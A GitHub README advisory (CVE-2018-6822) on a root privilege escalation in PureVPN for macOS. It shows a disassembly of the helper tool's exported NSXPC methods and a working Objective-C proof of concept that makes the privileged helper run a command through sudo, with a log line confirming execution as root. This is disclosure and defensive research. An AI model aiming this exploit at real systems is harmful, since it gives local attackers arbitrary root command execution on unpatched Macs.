Skip to content

Latest commit

 

History

History
104 lines (91 loc) · 8.3 KB

README.md

File metadata and controls

104 lines (91 loc) · 8.3 KB
Raw

[VS-2018-002] PureVPN for MacOS Root Privilege Escalation Vulnerability

Download: https://www.purevpn.com/download
CVE: CVE-2018-6822
Author: Benjamin Watson of VerSprite Security
Affected: < 6.0.1

Vulnerability Details

The PureVPN's com.purevpn.macapp.HelperTool NSXPC service's protocol defines the following method __objc2_meth <offset sel_runWithCommand_withArguments_usingSudo_withReply in its list of exported methods.

__objc_const:0000000100014910 _OBJC_INSTANCE_METHODS_HelperToolProtocol __objc2_meth_list <18h, 1Bh>
__objc_const:0000000100014910                                         ; DATA XREF: __data:_OBJC_PROTOCOL_$_HelperToolProtocol↓o
__objc_const:0000000100014918                 __objc2_meth <offset sel_connectWithEndpointReply_, offset aV240816_0,\ ; "connectWithEndpointReply:" ...
__objc_const:0000000100014918                               0>
__objc_const:0000000100014930                 __objc2_meth <offset sel_getVersionWithReply_, offset aV240816_0, 0> ; "getVersionWithReply:" ...
__objc_const:0000000100014948                 __objc2_meth <offset sel_readLicenseKeyAuthorization_withReply_, \ ; "readLicenseKeyAuthorization:withReply:" ...
__objc_const:0000000100014948                               offset aV32081624, 0>
__objc_const:0000000100014960                 __objc2_meth <offset sel_writeLicenseKey_authorization_withReply_, \ ; "writeLicenseKey:authorization:withReply"... ...
__objc_const:0000000100014960                               offset aV4008162432, 0>
__objc_const:0000000100014978                 __objc2_meth <offset sel_bindToLowNumberPortAuthorization_withReply_, \ ; "bindToLowNumberPortAuthorization:withRe"... ...
__objc_const:0000000100014978                               offset aV32081624, 0>
__objc_const:0000000100014990                 __objc2_meth <offset sel_testFunctionAppsAuthorization_configObj_usingPreferencesRef_withReply_,\ ; "testFunctionAppsAuthorization:configObj"... ...
__objc_const:0000000100014990                               offset aV48081624Scpre, 0>
__objc_const:00000001000149A8                 __objc2_meth <offset sel_createServicesAuthorization_configObj_usingPreferencesRef_withReply_,\ ; "createServicesAuthorization:configObj:u"... ...
__objc_const:00000001000149A8                               offset aV48081624Scpre, 0>
__objc_const:00000001000149C0                 __objc2_meth <offset sel_createPasswordKeyChainItemAuthorization_lable_forService_withAccount_andPassword_withReply_,\ ; "createPasswordKeyChainItemAuthorization"... ...
__objc_const:00000001000149C0                               offset aV6408162432404, 0>
__objc_const:00000001000149D8                 __objc2_meth <offset sel_createSharedSecretKeyChainItemAuthorization_lable_forService_withPassword_withReply_,\ ; "createSharedSecretKeyChainItemAuthoriza"... ...
__objc_const:00000001000149D8                               offset aV5608162432404, 0>
__objc_const:00000001000149F0                 __objc2_meth <offset sel_createXAuthKeyChainItemAuthorization_lable_forService_withPassword_withReply_,\ ; "createXAuthKeyChainItemAuthorization:la"... ...
__objc_const:00000001000149F0                               offset aV5608162432404, 0>
__objc_const:0000000100014A08                 __objc2_meth <offset sel_executeVPNServiceConfigServer_withAccount_andPassword_andShareSecret_andType_HelperToolWithReply_,\ ; "executeVPNServiceConfigServer:withAccou"... ...
__objc_const:0000000100014A08                               offset aV640816243240q, 0>
__objc_const:0000000100014A20                 __objc2_meth <offset sel_setIpv6Leak_networkInterfaces_withReply_, \ ; "setIpv6Leak:networkInterfaces:withReply"... ...
__objc_const:0000000100014A20                               offset aV3608c162028, 0>
__objc_const:0000000100014A38                 __objc2_meth <offset sel_setRules_withReply_, offset aV32081624, 0> ; "setRules:withReply:" ...
__objc_const:0000000100014A50                 __objc2_meth <offset sel_removeAllRulesWithReply_, offset aV240816_0, \ ; "removeAllRulesWithReply:" ...
__objc_const:0000000100014A50                               0>
__objc_const:0000000100014A68                 __objc2_meth <offset sel_activateOnStartupWithReply_, \ ; "activateOnStartupWithReply:" ...
__objc_const:0000000100014A68                               offset aV240816_0, 0>
__objc_const:0000000100014A80                 __objc2_meth <offset sel_deactivateOnStartupWithReply_, \ ; "deactivateOnStartupWithReply:" ...
__objc_const:0000000100014A80                               offset aV240816_0, 0>
__objc_const:0000000100014A98                 __objc2_meth <offset sel_getVersionsWithReply_, offset aV240816_0, 0> ; "getVersionsWithReply:" ...
__objc_const:0000000100014AB0                 __objc2_meth <offset sel_executeTestFunctionInHelperToolWithReply_, \ ; "executeTestFunctionInHelperToolWithRepl"... ...
__objc_const:0000000100014AB0                               offset aV240816_0, 0>
__objc_const:0000000100014AC8                 __objc2_meth <offset sel_executePreferencesRefInHelperToolWithReply_, \ ; "executePreferencesRefInHelperToolWithRe"... ...
__objc_const:0000000100014AC8                               offset aV240816_0, 0>
__objc_const:0000000100014AE0                 __objc2_meth <offset sel_copySSTPFiles_, offset aV240816, 0> ; "copySSTPFiles:" ...
__objc_const:0000000100014AF8                 __objc2_meth <offset sel_copyIPSECFiles_, offset aV240816, 0> ; "copyIPSECFiles:" ...
__objc_const:0000000100014B10                 __objc2_meth <offset sel_connectSSTP_withAccount_andPassword_Executable_mtuInterfaceValue_withReply_,\ ; "connectSSTP:withAccount:andPassword:Exe"... ...
__objc_const:0000000100014B10                               offset aV6408162432404, 0>
__objc_const:0000000100014B28                 __objc2_meth <offset sel_executeSudo_WithReply_, offset aV32081624, 0> ; "executeSudo:WithReply:" ...
__objc_const:0000000100014B40                 __objc2_meth <offset sel_disconnectSSTP_, offset aV240816_0, 0> ; "disconnectSSTP:" ...
__objc_const:0000000100014B58                 __objc2_meth <offset sel_setMTUInterface_mtuValue_WithReply_, \ ; "setMTUInterface:mtuValue:WithReply:" ...
__objc_const:0000000100014B58                               offset aV4008162432, 0>
__objc_const:0000000100014B70                 __objc2_meth <offset sel_setSecureDNSWithServiceId_withDNS_WithReply_,\ ; "setSecureDNSWithServiceId:withDNS:WithR"... ...
__objc_const:0000000100014B70                               offset aV4008162432, 0>
__objc_const:0000000100014B88                 __objc2_meth <offset sel_runWithCommand_withArguments_usingSudo_withReply_,\ ; "runWithCommand:withArguments:usingSudo:"... ...
__objc_const:0000000100014B88                               offset aV44081624c3236, 0>

This method ends up calling -[HelperTool runCommand:withArguments:usingSudo:] with the arguments that it received from the NSXPC client. The -[HelperTool runCommand:withArguments:usingSudo:] in turn calls -[HelperTool runCommand:withArguments:], again with the arguments from the NSXPC caller. Because the HelperTool has root privileges once it has been installed by the user, it simply executes a command sent to it from the NSXPC client via NSTask in the following way:

/usr/bin/sudo <command> <args>

Exploitation

PoC

@protocol HelperToolProtocol
-(void)runWithCommand:(id)command withArguments:(NSArray*)withArguments usingSudo:(char)usingSudo withReply:(void(^)(char))withReply;
@end


NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.purevpn.macapp.HelperTool" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
NSLog(@"[+] NSXPCConnection established -> %@ [!]", connection);
connection.interruptionHandler = ^{
    NSLog(@"Connection Terminated");
};
connection.invalidationHandler = ^{
    NSLog(@"Connection Invalidated");
};
[connection resume];
NSArray* args = [NSArray arrayWithObjects: @"", @"", nil];
[[connection remoteObjectProxy] runWithCommand:@"id" withArguments:args usingSudo:(char)1 withReply:^(char c) {
    //NSLog(@"%@", result);
}];

Feb  9 07:24:52 users-Mac sudo[1083] <Notice>:     root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/usr/bin/id